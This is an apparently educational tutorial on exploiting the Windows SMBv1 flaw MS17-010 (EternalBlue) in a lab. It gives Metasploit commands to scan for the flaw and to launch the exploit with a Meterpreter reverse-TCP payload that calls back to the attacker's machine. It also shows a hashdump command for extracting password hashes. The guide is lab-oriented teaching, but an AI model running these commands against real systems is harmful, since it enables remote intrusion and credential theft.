Educational Warning

⚠️ This guide is meant strictly for ethical hacking education, cybersecurity research, and penetration testing in authorized environments. Do not use this knowledge on unauthorized systems. Violating cybersecurity laws may result in criminal prosecution.

Requirements

To follow this tutorial, you’ll need the following:

  • Attacker machine: Kali Linux or Parrot OS

  • Target machine: Unpatched Windows 7 or Windows Server 2008 VM

  • Tools: Metasploit Framework, Nmap (optional)

  • Network: Both systems should be on the same local virtual network (NAT or Host-only adapter in VirtualBox/VMware)

Step-by-Step Exploit Guide

Step 1: Identify Vulnerable System

Launch Metasploit:

msfconsole 

Use the MS17-010 scanner:

use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS <target_ip> run
  • If the result shows: Host is likely VULNERABLE to MS17-010, proceed to the next step.

Step 2: Launch EternalBlue Exploit

Load the exploit module:

use exploit/windows/smb/ms17_010_eternalblue 

Configure the payload:

set RHOST <target_ip> set LHOST <your_attacker_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp

Start the attack:

run 
  • If successful, you'll receive a Meterpreter session, indicating remote access to the target machine.

Step 3: Post-Exploitation (Ethical Only)

Inside the Meterpreter shell:

meterpreter > getuid meterpreter > sysinfo meterpreter > hashdump 
  • These commands allow basic system reconnaissance and password hash extraction. Only perform in a legal lab environment.

Step 4: Clean Up and Exit

Always terminate the session and clear the setup after testing:

meterpreter > exit

Restore your VM snapshot to reset the vulnerable system.

FAQs

What is CVE-2017-0144 (MS17-010)?

CVE-2017-0144 is a remote code execution vulnerability in the SMBv1 protocol of Microsoft Windows, exploited by the EternalBlue tool. It allows attackers to execute arbitrary code on vulnerable systems.

Why is EternalBlue important to study?

EternalBlue has been used in real-world ransomware attacks like WannaCry and NotPetya. Understanding it helps defenders patch vulnerabilities and develop secure networks.

Which Windows versions are affected by MS17-010?

Windows XP, Windows 7, Windows Server 2003/2008, and some Windows 10 builds (if unpatched before March 2017) are affected.

Is it legal to test CVE-2017-0144?

Yes—only if it’s done in a controlled lab or with written permission. Unauthorized access or scanning of public servers is illegal in most countries.

How do I safely create a vulnerable test environment?

Use VirtualBox or VMware to install Windows 7 without the MS17-010 patch. Disconnect the VM from the internet and only allow internal network connections to Kali Linux for testing.

Final Thoughts

Understanding CVE-2017-0144 and how it was exploited by EternalBlue is a key skill for aspiring cybersecurity professionals. This exploit demonstrated the real-world danger of unpatched systems and the importance of timely updates.

Always remember: Education without ethics is dangerous. Use this knowledge responsibly, for defense and learning, never harm.